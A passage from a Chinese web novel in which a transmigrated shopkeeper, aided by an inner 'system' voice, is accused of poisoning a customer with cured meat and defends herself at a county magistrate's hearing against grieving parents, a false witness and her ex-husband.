抬着门板的其中一个壮汉瞪着眼:“干啥?人死了你还想作践他?”
“我看一眼。”冷小幸道。
“看什么看!”坐在地上当娘的老妇人翻身而起,从人堆里挤过来,伸手压住白布,对冷小幸啐道:“我儿吃了你家腊肉就喊肚子疼,不到半个时辰,人就没了,不是你害的还能是谁害的?”
冷小幸上身向后一仰,避过吐沫,她好声好气道:“大娘,这话可不能乱说,昨晚你家儿子还吃了什么?喝了什么?你们弄清楚了没有?”
“放你娘的屁!”当爹的老头也跟了过来指着冷小幸大骂道:“你还敢不承认,我打死这个黑心烂肠的。”
老头一动手,其他人也纷纷上前。
厨娘等人急得大喊,却根本拦不住暴怒的人群。
他们几人吓得脸色发白,连忙挡在冷小幸身前,丫鬟最小被人一把推开,踉跄着撞在肉铺柜台上,疼得龇牙咧嘴。
冷小幸的脸皮一抽,就要动手,脑海里传来张阿蛮急切的叮嘱声:“你可别下死手啊。”
“放心,你当我是什么人,”冷小幸一面答,一面带着厨娘等人东摇西晃,看起来是在拽着人狼狈躲避,实则利用走位,让动手的人互相攻击。
围观的左邻右舍有人上前拉架,有人袖手旁观。
更远一些,跟着闹事人来看热闹的,各个伸长脖子,交头接耳。
一个拿着烟杆的老汉叹气道:“造孽呦,老杨家就这么一个儿子,年级轻轻就这么去了,刚娶媳妇没两年,还没留后呢,老杨两口子可怜呦。”
“我看呢,不一定跟人家肉铺有关系,那后生看着身子骨状是壮,可前两天我还挺见他咳嗽呢……”一个挎着竹筐的中年妇人压低声音对身旁边人道。
一片混乱中,张铁妞带着几个衙役匆匆赶来。
“闹什么闹,快散开。”衙役手持水火棍一边呵斥,一边把人群分开。
张铁妞惊魂未定,两手抓着冷小幸两个胳膊上下查看,急道:“表姑,你没事吧?”
“我没事,”冷小幸笑着安抚张铁妞。
闹事的对着衙役七嘴八舌喊冤,还有几人在后面相互埋怨为什么要报官。
安抚了张铁妞,又查看过丫鬟等人没事的冷小幸对走近的领头衙役道:“大人,是我报的官。”
杨老太指着冷小幸,满眼不可置信道:“你怎么还敢报官!”
“为什么不敢?不做亏心事,不怕鬼敲门,”冷小幸扭头道:“怎么?难道你们不想为儿子讨回公道?不想知道他究竟是怎么死的?”
杨老太嘴唇抿了抿,没吭声。
“大人,”杨老头对着领头衙役指着冷小幸道:“我儿子就是被她害死的,这没什么可说的,让他们肉铺赔就行,小老儿不敢惊动官府。”
领头衙役听了冷小幸三人所言,一时没有作声。
当今朝廷没有公诉制度,讲究“民不举官不究。”若是杨家不肯报官,官府不能擅自将此案当做人命官司处置。
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“大人,”冷小幸拉着丫鬟臂膀对领头衙役道:“就算他们不告我们肉铺害死他家儿子,我也要告他们蓄意滋事。况且,他们还打伤了我家中丫鬟。”
“大人,这怎么能叫蓄意滋事呢?我们是来讨说法的。”杨老头身后一个年轻看起来有些文气的后生道。
领头衙役左看右看,一时间难以裁决。
冷小幸见状悄声对领头衙役道:“大人,不如将我们都带到府衙,交给县太爷处置。”
领头衙役瞥了冷小幸一眼,而后挥舞着水火棍,对其他衙役喊道:“把他们都带回去。”
将一干人等带回县衙,领头衙役先去找县太爷做汇报。
县太爷心里嘀咕:“怎么又是张家,唉。”
他虽然心里犯嘀咕,动作却不慢,立即升堂处理杨家闹事一案。
杨氏夫妇老泪纵横,向县太爷哭诉:“家中只有一子,年纪轻轻就去了,留下儿媳和小孙女,日后她们孤儿寡母该怎么活?我们不是去闹事的,我们只想为儿子讨公道。”
“哦?”县太爷问道:“那为何你们儿媳、孙女没有一同去张家为你儿子讨公道?”
杨老太哆哆嗦嗦道:“我家孙女年幼,儿媳胆小,不敢让她们去。”
“大人,”冷小幸拱手道:“杨家儿媳、孙女是此案重要人证,还请大人传唤。”
杨老太忙道:“大人,我儿媳没了丈夫,孙女没了爹爹。天可怜见的,叫她们来做什么?您有什么要问的,问我老婆子就行。”
“大人,正因如此,才更该叫她们前来,找出杨家子死亡真相,告慰未亡人。”冷小幸接道。
杨老太再次出言阻止。
冷小幸心中生疑,她皱着眉对杨老太道:“大娘,你为什么不肯让她们母女来?难不成是你们害死了儿子,不敢叫她们来作证?”
“你!杨老太听了这话,气得牙痒痒,大叫着:“我要撕烂你的嘴,打死你。”
说着,向冷小幸扑去,被衙役拦住。
县太爷一拍惊堂木,镇住哭闹不休的杨老太,命衙役带杨家儿媳。孙女来。
不多时,一个头上缠着一圈旧麻布,上面隐隐渗着血迹,手里牵着个怯生生女童的年轻妇人,一脸麻木地走了进来。
冷小幸身后的丫鬟见她从身边经过,失声惊呼道:“是你?”
那年轻妇人闻言,浑身一颤,低下头咬着嘴唇拽住女儿向县太爷行礼。
杨老头、杨老太都对她怒目而视。
杨老太更是指着那年轻妇人,对县太爷悲愤不已道:“大人,就是这个扫把星从张家带回腊肉,害死我儿子。”
那年轻妇人听到这话,脊梁一软,瘫坐在地,只紧紧搂住女儿。
县太爷料想问她恐怕一时间难以问出,抬手点了点丫鬟,又指向年轻妇人,对丫鬟道:“你认得杨家儿媳,可是与昨日她去买肉有关?从实招来。”
丫鬟面露惊慌,求助看向冷小幸。
冷小幸转头鼓励道:“别怕,实话实说就好。”
丫鬟定了定神,颤声开口道:“回大人,我们东家心好,过冬节给我们每人一份腊肉叫送家里去。”
51.代夫纳妾求子的商户女19
“我没有亲眷,但东家也是给了我一份,叫我送给相熟的小姊妹们。”丫鬟见县太爷并不打断她,胆子渐渐大了起来,声线平稳接着道:“我拿着腊肉出门见到她们母女,正在街角眼巴巴望着肉摊,瞧着很可怜,就把我那份给了她们。”
“好啊,原来是你这个小娼/妇,”仍被衙役拽着的杨老太吼道:“你还我儿子命来。”
丫鬟闻言,不由自主身体向后缩了一些。
县太爷拍着惊堂木对着杨老太道:“你若再咆哮公堂,阻挠本官断案,便要受杖刑。”
杨老太像是被掐住喉咙般,瞬间禁了声。
县太爷又问杨家儿媳道:“你叫什么名字?与杨家郎是何关系?昨日究竟为何?从实招来。”
那年轻妇人呆了片刻才低声回道:“民妇苗秀莲,是杨石柱的妻子,昨日确实是这个好心姑娘送了我一篮子腊肉。”
杨家穷,平日里买不起肉,过冬节苗秀莲带着女儿想买根猪骨,路过张家腊肉铺怀里的女儿看到挂在铺子里亮晶晶油汪汪的腊肉,勾着头去看。
母女到了街角,女儿的小脑袋仍在奋力向后看,苗秀莲忍着心酸道:“小糠乖,娘回家给你熬骨头汤喝。”
“阿娘,我不吃,我就看看行吗?”小糠乖乖道。
“行,”苗秀莲把杨小糠放在地上,蹲来下陪着她。
丫鬟就是见到这一幕才把手里装着腊肉的篮子塞给苗秀莲。
苗秀莲坚决不要,她涨红了脸,抱起女儿打算离开。
丫鬟却拉着她道:“这不是白给你的,是试吃,你带回家尝尝,改日有时间来告诉我们味道怎么样就行。”
试吃是当初冷小幸为推行腊肉的一个小举措,被丫鬟活学活用保全苗秀莲的脸面。
苗秀莲还是不肯要,她与丫鬟拉扯见看到女儿偷偷咽口水,一点都不哭闹的摸样,心中一涩伸手接过篮子,对丫鬟千恩万谢才走。
“既如此,除了杨石柱你们都好端端在这,”县太爷问杨氏夫妇道:“为何就认定是腊肉毒死了他?”
苗秀莲颜面如死灰,紧紧搂住女儿,垂头不语。
杨老头理直气壮道:“我儿是家中顶梁柱,肉当然紧着他吃。”
“大人,我儿子就这么被害死了,您可要为我们做主啊。”杨老太大哭道。
“大人,”冷小幸则道:“今早杨家人抬着杨石柱的尸首堵在我铺子门口,非说是吃了肉铺的腊肉死的,民女冤枉。请大人做主查清杨石柱死因,让仵作当场剖开尸身查验。若是腊肉有毒,民女甘愿抵命。若是与腊肉无关,求大人还民女清白,治他们诬告闹事之罪。”
此言一出,杨老太的哭声先是戛然而止,随即又嚎道:“验尸?不能验啊。我儿子都死了,怎么还能挨刀子,不成,不成的。”
“大人,使不得啊,”杨老头也急了,忙道:“我儿人都死了,当入土为安,怎么能开肠破肚呢?”
公堂外围着看热闹的百姓,闻言也议论起来。一个年轻书生嘀咕道:“不验尸怎么说得清?说不清,张家这生意可就没法再做了。”
“验什么验?人都死了还不让消停?”卖菜阿婆撇嘴道。
“那是验验好,”一个大腹便便的汉子接茬道:“张家的腊肉我家常买,验好了我也放心,不然哪敢再吃?说来满城的腊肉就数她家好吃。”
“吃吃吃,你就知道吃。”旁边一个老头拿拐杖戳着汉子道:“杨家那后生正年轻都吃死了,定是那肉不干净,你以后别想再吃了。”
“哎呦,爹,您别戳了,疼。”大肚子汉子边躲边赔笑道。
堂内杨老太哭得上气不接下气:“我命苦的儿啊,从小吃不饱穿不暖,好不容易娶上媳妇,去年才添了孙女,难道死了还得被挖开肚子,连个全尸都留不下?我当娘的怎么忍心啊,儿啊,你带为娘走吧,为娘不想活了。”
杨老头在旁低头用袖子抹眼泪。
苗秀莲不言不语,她怀里的杨小糠被吓得哭都哭不出。
冷小幸则道:“大人明鉴,若不让验尸,民女的冤屈又如何洗得清?”
县太爷看看冷静自持的冷小幸,再看看痛哭流涕的杨氏夫妇,对他们二人开口道:“你们既说是张家腊肉毒死了人,死因总要查个明白。若真是中毒,仵作一验便知;若不是,也好还你儿死亡一个真相。你们拦着不让验,本官如何断案?”
杨老头抬起头,满脸泪痕道:“大人,不是小民非要拦着,实在是、实在是、那刀子下去,人就不全乎了,还怎么埋啊?我们怎么忍心糟践我儿的尸首啊。”
“好,那本官问你,”县太爷也不强求杨家人接受仵作验尸,他问道:“你儿子生前可有什么病症?”
杨老头不假思索道:“我儿壮的像头小牛,从来不生病。”
“那你儿子死前,可请郎中看过?可有什么症状?”县太爷接着问道。
杨老头摇头道:“我儿半夜就去了,没来得及请郎中。”
“他死的时候,你们谁在跟前?”县太爷问道。
“是我儿媳,”杨老太挣脱衙役,上前走了一两步,使劲拍打苗秀莲的后背道:“你哑巴了?快给县太爷回说。”
苗秀莲一个哆嗦,颤声道:“是,是,民妇在跟前。他,他突然喊肚子疼,没、没多久就咽气了。”
“胡闹,”县太爷眉头一皱,喝道:“既然连郎中都未请,你们如何咬定他是吃毒腊肉死的?还去张家闹事,你们可知诬告要反坐?”
苗秀莲听了,脸色惨白,她弯下身子,把头埋在怀里。
杨老太大哭声道:“大人,我们不是诬告啊,真的是吃了张家的毒腊肉才死的。”
“那就让仵作验尸,查明真相。”县太爷道。
杨老太、杨老头瑟瑟发抖,苦苦哀求道:“大人,不能验,不能验啊,大人,求求您,求求您了……”
外头围观的大肚汉子见之不忍,叹道:“杨家也是可怜,可光哭有什么用?总得有个说法,好歹让我们知道张家的腊肉还能不能吃啊。”
“就是。”一个高瘦的货郎应和道:“要是不验尸,这事儿不就成了糊涂账,哪里说得清?”
腰间挂着个铜制小算盘的酒楼掌柜压低声音对身旁的伙计道:“我看杨家这样推诿,恐怕是
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不敢让仵作查验,万一验出来不是腊肉的事,他们还得认罪伏法赔钱呢。”
“嘘,”伙计胆小,恨不得捂着自家掌柜的嘴,急道:“东家,您快别说来。”
酒楼掌柜一脸不以为然道:“你怕什么?真没种。”
堂内,县太爷对杨氏夫妇和煦道:“本官知道你们丧子心痛,可命案当前,不验尸就沒有凭据。腊肉若是无毒,便是你们冤枉张家肉铺;若是腊肉有毒,本官定为你们主持公道。仵作解剖尸身,是断案必要的法子。”
杨氏夫妇闻言,瘫软在地。
县太爷对立在两侧衙役沉声道:“来人,将杨石柱的尸身带下去,交仵作查验。”
话音刚落,杨氏夫妇也不知哪来的力气,起身疯了一般扑到院中停尸门板边,俯身死死抱住尸身不放,死活不肯让人靠近。
杨老太痛哭嚷道:“我可怜的儿啊,你走了,留下这一屋子的老老小小,可怎么活呀?小糠还那么小,哪有钱让她长大,儿啊,你把我们都带走吧。
一直像个活死人的苗秀莲突然激动起来,喊道:“大人,不能验尸,民妇愿以命担保。石柱,他,他确实是吃腊肉吃死的,张家,张家要赔钱才行。大人,民妇愿以死为证。”
说罢,她起身快跑撞柱。
堂上众人皆没反应过来,眼瞅着苗秀莲就要一头撞死。
冷小幸小跑上前,猛然拉住她胳膊向旁边拽,两人收力不及一起跌倒在地。
场面一片混乱,公堂内外,哭声、喊声、百姓议论声搅作一团,冷小幸死死掐住苗秀莲胳膊,低声道:“你死了,难道你公婆他们会善待小糠?他们会卖掉小糠的,你清醒一点……”
未等苗秀莲答话,匆忙赶来衙役已两人扶起分开,还有两个衙役一左一右架住苗秀莲,防止她再寻死。
冷小幸还要继续劝说苗秀莲。
围观人群突然传出一句:“大人,张家的腊肉确实有毒,老身可以作证。”
堂中众人闻声看去,围观百姓已给出言者让出一条小道,喊话者竟是高氏。
“老太婆,你胡说什么?”冷小幸凝眉质问。
高氏不理冷小幸,进入大堂对县太爷行礼道:“大人,老身曾亲眼见过张家做腊肉的全部过程,可以证明腊肉确实有毒。”
“哦?你竟早已知情,”冷小幸在旁冷笑道:“那你儿子郭楚生,他知不知道?”
“他,”高氏本想说他当然知道,却及时改口轻嗤道:“你算什么东西,老身凭什么要回答你。”
县太爷面无表情道:“高氏,你既要作证,可有证据?你儿郭楚生是否知情?”
“回大人,我儿一心只读圣贤书,并不知情,老身也不参与过此事。”高氏先正色道,而后又神情默然道:“我们母子那日被张家赶出,哪里还有什么证据。”
冷小幸对张阿蛮系统遗憾道:“她变聪明了,竟然没上当。”
“正常。”张阿蛮系统习以为常道:“一涉及她儿子,她脑袋就灵光了。”
“既然如此,你是怎么发现张家腊肉有问题,又为何不早点报官?”县太爷问高氏道。
52.代夫纳妾求子的商户女20
“老身也是无意间发现的,当时不曾多想。”高氏解释道:“如今出了人命才想明白。原来他们那时是在给腊肉下毒。”
冷小幸尚未出言反驳,她身后的厨娘已指着高氏破口大骂道:“你个死老太婆!胡咧咧些什么?你哪只眼睛看到的?”
“她俩之前有仇?”冷小幸问张阿蛮系统道。
“没,”张阿蛮系统不确定道:“没有吧。”
厨娘像个护崽的老母鸡,对着高氏一顿输出,从高氏住进张家摆婆婆款开始讲,高氏是如何欺压张阿蛮,如何不干活擎等着吃,事无巨细列举高氏的罪状。
县太爷拍着惊堂木制止道:“与本案无关之事,不必赘述。”
“大,大人,”厨娘这才反应过来身在何处,结结巴巴道:“是这老虔婆被我们东家赶出去,才怀恨在心污蔑我们,您可不能信啊。”
“你一个下人,有什么资格在这说话?”高氏先是跳脚责骂厨娘,又对县太爷道:“大人,老身说的都是真的,就是他们下毒。”
县太爷再拍惊堂木道:“大堂之上岂是你们骂街之地?高氏,你既口口声声说亲眼见张家下毒,那下的什么毒?下在哪里?一五一十说清楚,切莫含糊其辞。”
高氏舔了舔嘴唇,垂下眼皮道:“大人,老身只看到他们往肉缸里倒了很多白色粉末,到底是什么毒,老身也不知道。”
“死老太婆,你看到的该不会是盐吧?也是,你又没下过厨,当然不认得盐。”厨娘气得胸脯一起一伏,耻笑道。
冷小幸看了一眼战斗力爆表的厨娘对张阿蛮系统道:“我来这么久,怎么没发现你家厨娘如此厉害?简直是一对上高氏,就自动进入狂化状态啊。”
张阿蛮系统一头雾水,也没听懂狂化状态是啥,她道:“我也不知道啊,厨娘比我年长很多,在我家待了许多年,平日里干活利索,嘴皮子也利索,但从不这样骂人啊。”
“高氏,你要为你说的话负责,”县太爷眉头皱起三道折,不满道:“且不可随意攀咬,说谎胡言,扰乱本官断案,明白吗?”
“大人,老身没有胡言,老身怎么会不认得盐呢?老身看得真真切切,就是毒药。”高氏辩白道。
堂外,看热闹的大肚子汉拽着旁边老头的胳膊,慌道:“爹,他们以前是一家人,张家腊肉不会真有毒吧?爹,我不会也要死了吧?”
“别自己吓自己,”老头冷着脸拿拐棍敲了大肚子汉一下,眼睛却紧紧盯着堂上的高氏。
高氏继续道:“还有,他们为了省钱,用的一直都是死鸡、死鸭、调料也都是陈年坏了的……”
“大人。”冷小幸拱手打断道:“我家肉铺所用鸡鸭鱼肉皆是跟农户、鱼户签订文书,要求他们送活物上门。所用调料也是跟杂货铺、酒坊、糟坊签订文书,由他们定期送货。所做腊肉均有记录,亦有账本为证,可核对出购买与制作、销售数量、品种是否一致。”
“至于高氏所说的毒药,我家也没买过,但我家若真有她所说那么多毒药,总不能是凭空变出来的,必有买卖痕迹,还请大人明察。”冷小幸不卑不亢道。
县太爷对高氏道:“本官再问你一次,你说的可是真的?”
“是真的。”高氏不看县太爷,低下头颤声道。
“来人,把杨石柱的尸体带下去,交仵作查验。”县太爷有条不紊的吩咐道:“去把和张家签订过文书的农户、鱼户,各店掌柜都找来。”
他又指了一个伙计道:“你随衙役把你们掌柜说的文书、账本都取来。”
“大人,小人不知道这些东西放在哪里呀。”伙计哆哆嗦嗦道:“要不,要不……”
伙计喉咙里的那句:“要不让我们东家回去取。”还没说出来,冷小幸就对他道:“在书房书桌的小匣子里,你把匣子直接拿来,去吧,没事,别怕。”
伙计点点头,干咽了口唾沫,随衙役走了。
其他得到命令的衙役也分头下去办差,但冷小幸等人暂时不得离开。
“大人,”冷小幸叫住打算起身退到后堂的县太爷道:“我等早起水米未进,不知可否有劳县衙小吏帮忙买些吃食,再请个郎中给我家丫鬟看看,她早上被推倒,还没看伤呢。”
“钱,我付。”冷小幸补充道。
县太爷诧异看了眼冷小幸,颔首准了。
接着,他起身离开,只留下几个差役看守众人。
冷小幸摸出几吊钱,交给一旁的小吏道:“有劳大人。”
“张掌柜客气,”小吏接过钱,出了县衙。
看热闹的百姓一哄而散,只有一两个无所事事的懒汉坐在地上不动。
小吏买了些包子回来递给冷小幸。
冷小幸伸手接过,张口称谢,又请小吏帮忙倒几碗热水来。
小吏身后还跟着个郎中。
冷小幸先让郎中给丫鬟看看,确认丫鬟无事连药都不比上,她又指着苗秀莲对郎中道:“劳烦也给苗娘子瞧瞧。”
“我家的事不用你假好心,”杨老太尖声阻止道:“休想用这个收买我们。”
冷小幸反唇相讥道:“呵呵,我可没说我要付钱,你急什么?怎么,你家儿媳来的时候头上就有伤,刚才又那般激动,你就一点都不担心?不打算给她看看?”
“关你屁事,”杨老太对着冷小幸呸了一口,上前伸手赶郎中道:“快走,快走。”
冷小幸挡在两人中间,攥着杨老太的手腕低语道:“你究竟是不想欠我的人情,还是怕郎中看出你家儿媳的伤是被人打出来的?”
“你,你满嘴喷粪,”杨老太使劲抽自个手臂,抽不出来大叫道:“老头子你快来啊。”
冷小幸嘴角勾笑放手,用只有她们两个能听到的声音道:“你别拦着郎中,我就不告诉别人,怎么样?”
“你想干什么,”杨老头赶来叫嚣道。
杨老太飞速瞥了眼冷小幸道:“老头子,算了,算了,她让郎中给秀莲看就看吧,反正咱们没钱也看不起。她愿意掏钱也跟咱家没关系,我们不理她假惺惺,不上她的当就行。”
杨老头还要再说,被杨老太带着哭腔拉走了。
冷小幸转头对郎中道:“麻烦先生了,诊金我出,您放心看吧。”
苗秀莲直愣愣的,对外界没有任
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何反应。
郎中心下暗叹,上手解下苗秀莲额头布条,见她的伤像是被人用硬物打出来的。郎中摇了摇头并未多言,拿出药箱,用小吏送来的热水给苗秀莲清洁伤口,上了药,换了干净的粗布条包扎好。
又给苗秀莲号了号脉。
最后郎中对冷小幸道:“这位娘子长期气血耗伤,又情志剧变、致心脾两虚,元神散乱,不是什么大症状,只需吃几粒安神定志丸,镇惊安神、开窍宁心便好。至于她头上的伤,定时换药,也无大碍。”
冷小幸道谢收下药粉等物,付过诊金。
郎中告辞离开。
冷小幸把包子分给张家肉铺厨娘等人,又拿了两个给杨小康。
杨小糠依偎在苗秀莲身侧不敢接。
冷小幸摸了摸她的脑袋道:“吃吧,好孩子,你娘病了,你吃饱了才能照顾她,对不对?”
“小糠,不许接,”杨老太不敢靠近,冲着杨小糠嚷嚷。
杨小糠闻言,缩进苗秀莲怀里。
冷小幸见状,放下包子,掰开苗秀莲的嘴,塞进去一颗安神定志丸道:“你还有小糠,快点振作起来吧。”
苗秀莲眼珠动了动,慢慢地把药丸嚼吧嚼吧咽下去。
冷小幸把药丸、包子等放到苗秀莲身前,转身离开,回到张家肉铺众人身边。
厨娘递过来一个包子,冷小幸接过就着热水,大口吃了起来。
“阿蛮你这是什意思?就算你与楚生和离,老身也是你的长辈,你竟敢忤逆不孝!”高氏不可置信道。
“老不死的,”冷小幸举着包子,扭头道:“你老糊涂了,你那畜生赘婿儿子是被我休弃的,什么和离,真会往自己脸上贴金。”
“你,你,”高氏捂着胸口,“哎呦,”个不停。
“切,想吃我的包子还不知道说点好听的,还敢给我扣大帽子,也不知道哪来的底气,”冷小幸骂骂咧咧,又对杨老太、杨老头挑眉道:“你们二个也不会吃我的包子,免得被收买,对吧?”
杨氏夫妇气的直打哆嗦,杨老太迈步上前边抽打苗秀莲肩膀,边唾骂道:“都是你这个丧门星,我打死你……”
冷小幸摆好架势,等着杨老太来找茬,没想到竟转了个弯,饶是她见多识广也被闪了一下,顶着问号道:“唉,你干什么?打给谁看,骂给谁听呢?”
“娶回来的媳妇买回来的马,任我骑来任我打。她是我家花粮食换来的,跟你有什么关系?碍着你什么事?”杨老太呛声道。
厨娘张口道:“哎,你这老婆子怎么说话呢?”
冷小幸拦下厨娘,对杨老太喝道:“你要教训你家儿媳,自家教训去。这是县府大衙,又不是你家炕头,在这吆五喝六是闲命长吗?”
杨老太有心反驳,但是瞧瞧堂中还立着的衙役,终究住了口。
丫鬟凑到冷小幸身边怯生生道:“东家,我给您惹祸了。”
边说,边吧嗒吧嗒掉眼泪。
冷小幸失笑道:“没有的事,别胡说,也别瞎想,跟你无关。”
她正安慰丫鬟呢,闻讯匆忙赶来的郭楚生被差役拦在门外。
53.代夫纳妾求子的商户女21
“让让,麻烦让让!”郭楚生一边向堂内张望,一边用手拨挡在身前的差役们。
差役们面色不善,水火棍向身前一横,挡住郭楚生去路齐声喝道:“止步,公堂休审,闲人免进。”
“请各位小哥通融一二,里面有我家母和亲眷,我进去劝说她们几句就出来。”郭楚生神色焦急拱手道。
“按朝廷律法,休审期间,闲杂人等一律在外等候。郭举人你若再敢冲撞,恐怕得担上搅闹公堂的罪名。”一个脸上留着两撇小胡子的差役阴阳怪气道:“再说了,你娘在里面不假,可你的亲眷又是哪个呢?”
郭楚生闻言大怒,他强行忍下,赔笑道:“小哥说笑了,你难道不知张掌柜是本举人的妻房,当然是亲眷。”
堂内的冷小幸听得一清二楚,当即声音洪亮道:“真他/妈/的晦气。”
这一身叫骂,叫公堂内外的人都听得清清楚。
“阿蛮,你在胡说些什么,怎能如此粗鄙不堪,惹人笑话。”郭楚生沉下脸道。
冷小幸叉着腰,唾骂道:“郭楚生,你少在那儿装模作样,我早已写下休书,将你这吃软饭、狼心狗肺的赘婿赶出家门。老娘是你的亲眷?呸,你也不撒泡尿照照自己,看看你配不配!”
堂外闲坐的懒汉纷纷笑出声,小声交头接耳道:“别说,张掌柜这婆娘真带劲,以前跟着姓郭的白瞎了。”
“阿蛮,一夜夫妻百夜恩,你怎能一点都不念你我之间的旧情呢。”郭楚生脸僵了僵,黯然道。
冷小幸扭头不理他,对张阿蛮系统道:“看到了吧,他就是这么没脸没皮,你的法子不管用,人家当没听到,还要跟你夫妻情深呢。”
“你个没人要的贱人。”高氏见状,跳起脚指着冷小幸破口大骂:“你做的腊肉就是有毒,我亲眼看到了。我儿是来给我撑腰的,你休要猖狂。”
郭楚生听了高氏这话,心里更急,压低声音对差役道:“各位大人,通融通融,我就进去说一句话,一句话的事儿。”
“当不得郭举人您这声大人,你还是叫小的们小哥吧。”差役笑嘻嘻道:“县太爷不在,只让我们兄弟守着。您有什么话,等一会县太爷来了,您当着他的面说。”
堂内,张铁妞本要为冷小幸出头,骂高氏,却被冷小幸拦下。
冷小幸亲自对着高氏冷嘲热讽道:“撑腰?呵呵呵,他是来拦你着你别瞎说的。你真当他是为了你啊?他分明是心里清楚所谓腊肉有毒是无稽之谈。他是怕你做了伪证,仵作一验便知是污蔑,到时候你罪名坐实,牵连到他,这才赶来的。”
“你,你胡说八道,”高氏梗着脖子道:“我,老身,老身才不会相信你,人人都知道我儿最孝顺懂事,你,你休想挑拨我们母子。”
“阿蛮,你休要血口喷人!我一片孝心,岂容你诋毁。”郭楚生额头青筋直跳,高声道。
“你的孝心就是一次又一次把你娘当枪使?”冷小幸拍手赞道:“要这么说,你的确是天下第一大孝子。”
高氏一噎。
郭楚生在外头听这话了,急出一头汗冲差役们嚷道:“你们听听,她这说的是什么话,她一个无知妇人,心怀怨恨,什么恶毒的话都说得出来。你们快让我进去,让我进去与她分说明白。”
“郭大举人,您急什么?”差役们笑道:“您之前在堂上是怎么跟张掌柜分说的,小的们看得明明白白,听得清清楚,记得真真切切,不用再来一次了。今儿这戏台,您可不是主角。”
懒汉们听到差役这般奚落郭楚生,轰然大笑起来。
笑声中,冷小幸补刀:“郭楚生,你就是个卑鄙无耻的小人,快别在这儿演什么孝子贤孙,母慈子孝,真令人作呕恶心。”
郭楚生被戳中心事,又被差役死死拦住兼挖苦嘲笑,还被他瞧不起的懒汉们看笑话,一时情绪失控,在差役的拦截线外指着冷小幸大声辱骂。
差役厉声呵斥:“再敢喧哗滋事,即刻铁链锁身,绝不轻饶!”
“你敢,我是举人老爷。”郭楚生怒道。
众差役丝毫不惧,回道:“朝廷有律法,郭大举人老爷,你看我们敢不敢。”
郭楚生怒气冲冲左看右看,拂袖转身大步离开。
高氏先是不可置信盯着郭楚生远去的背影,直到再也看不见,而后扭头怨恨瞪着冷小幸,仿佛是冷小幸赶走了郭楚生。
冷小幸昂首而立,看着高氏变来变去的脸色取乐。
高氏再次发飙前,取文书的伙计与衙役回来了,一炷香后与张记腊肉铺有合作关系的杂货铺、酒坊、糟坊各店掌柜被衙役带来。
冷小幸上前与各店稍作寒暄,并未多言,以免对当做串供。
最后到的农户、渔户等人。
人到齐后,县太爷再次升堂,他先是审问了各店掌柜、农户、渔户,接着大致翻看了冷小幸所提到的签订文书及账本。
一套流程操作完,县令命衙役走访杨石柱生前接触过的人,将签订文书及账本留下,便放冷小幸等人各自归家,只需随时等候传唤便可。
却将杨家四人及高氏留下。
杨老头不服,指着张家腊肉铺几人道:“大人,您为什么将我们留下,却把这些凶手放走?”
“仵作验尸已有初步结果,与你们所说大不相符,”县令面无表情道:“所以将要留下你们继续审问,他们所言却是能大致对上。怎么?本官如何办案,还需经过你的认可?”
“小人,”杨老头点头哈腰道。
冷小幸在府衙前与其他人告别,约好案件结束再聚后,守在县衙外几个的张家族人,忙迎了上去。
张厚山道:“休堂时我们找人想办法去了,回来听说郭楚生又来闹事?”
“他不重要,叔父不要将他放在心上。”冷小幸摆手道:“现在案件尚未结束,族里的人不宜跟我们过多接触,也不必找人,等县太爷再次升堂便是。劳烦叔父告诫族人这档口不要做多余事。”冷小幸对张厚山郑重道。
张厚山点头答应道:“好,我去办,阿蛮你放心。”
打发走了张家族人,冷小幸带着厨娘等人回到张家。
她道:“案子没审出来之前,铺子先歇业吧。”
“东家,一天不开张,损失可就大了,还不知要审几天。”年长些的伙计搓着手道。
冷小幸无奈道:“即便现在开张,也不会有
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人来买。”
众人听了这话,心有戚戚焉,一片愁云惨淡。
冷小幸见他们个个惶恐不安,失笑道:“你们这是做什么?一个个耷拉着脑袋,不像是咱们吃了官司,倒像是我死了。”
“东家,别瞎说。”厨娘立刻喝止,扯住冷小幸胳膊急道:“你快,呸呸呸,快呀。”
冷小幸扭不过厨娘,低头对地:“呸呸呸”了三声。
而后抬头道:“这段时间大家也都辛苦了,趁这哥机会松泛松泛也好,我给你们多发一个月的工钱,只要不出城,随便逛逛去吧。”
“还是不要了吧,”丫鬟嘟着嘴,害怕道:“要是有人拿烂菜叶子扔我们怎么办呀?”
冷小幸闻言语塞。
“嘶,”冷小幸尴尬道:“这我倒是没想到,那就在家里,你们想干什么干什么吧。月钱还是多发一月,等案子了结,再去买。”
众人连连推辞。
冷小幸已进屋开钱匣取了几串铜钱,塞给他们道:“哎呀,放心拿着吧,就当给咱们铺子讨个彩头。”
众人只得收下。
张铁妞捏着铜钱道:“表姑,你这么看这个事啊?”
“别怕,没事的,清者自清。我瞅着这案子很快就能还我们清白了。”冷小幸笑道。
众人闻言,眼睛一亮,不由道:“真的?”
冷小幸道:“真的,我骗你们做什么?仵作已经出了初步结果,县太爷也派人去调查新的线索,相信铺子很快就能重新开业了,所以啊,你们就当这几天是过节,好好休息休息。”
冷小幸安抚了众人后,她回房直接往床上一趟,深深的舒了一口气。
张阿蛮系统道:“你说,这事是不是郭楚生不想给我们还钱,故意害死杨石柱,再栽赃给我们?”
“不会的,他哪有那么大的能耐呀?”冷小幸否决。
张阿蛮系统点兵点将:“那~是韩家?韩家在城中也有几分势力。”
“韩家?不至于吧?要说他们得知消息推波助澜还有可能,设局陷害?可能性不大。”冷小幸揉着眉心道:“哎呀,你也别再阴谋论了,我看这事八成是个巧合。”
“哼,”张阿蛮系统鼻孔出气道:“巧合?就这么巧?”
“凡事,要讲究证据。我看这个县太爷办案还挺有条理的,应当能找出真相。你就别操心了”冷小幸放开眉心,坐起曲起双腿,两手攥拳捶着腿肚子道:“哎呦,我也站大半日了,又跟人唇枪舌战的,真的很累。你就放过我吧,好不好?”
“好,好吧。”张阿蛮系统不自然道。
“嘿嘿嘿,我歇一会啊。”冷小幸咧嘴道:“我歇好了,给他们好好做顿晚饭压压惊。”
张阿蛮系统感激道:“谢谢你对他们这么好。”
“你看你,又来了不是。”冷小幸撇嘴道:“他们也是我的伙计,我的丫鬟,我的厨娘,我的接班人,你老这样干什么。怎么?在你心里我就是个外人。”
“不是的,我,我......”张阿蛮系统慌里慌张解释。
冷小幸打断道:“再说,我也不对所有人都这么好,就像郭亚男,她就休想吃我做的饭。”
54.代夫纳妾求子的商户女21
被冷小幸嫌弃的郭亚男,此刻正手里无意识地绞着帕子,坐立难安。
张家出了这么大的事情,闹得沸沸扬扬。
韩家与张家毕竟有层关系,下人奉韩夫人之命前去打听消息,回来说给韩夫人听。
韩夫人听后,又让下人去讲给郭亚男。
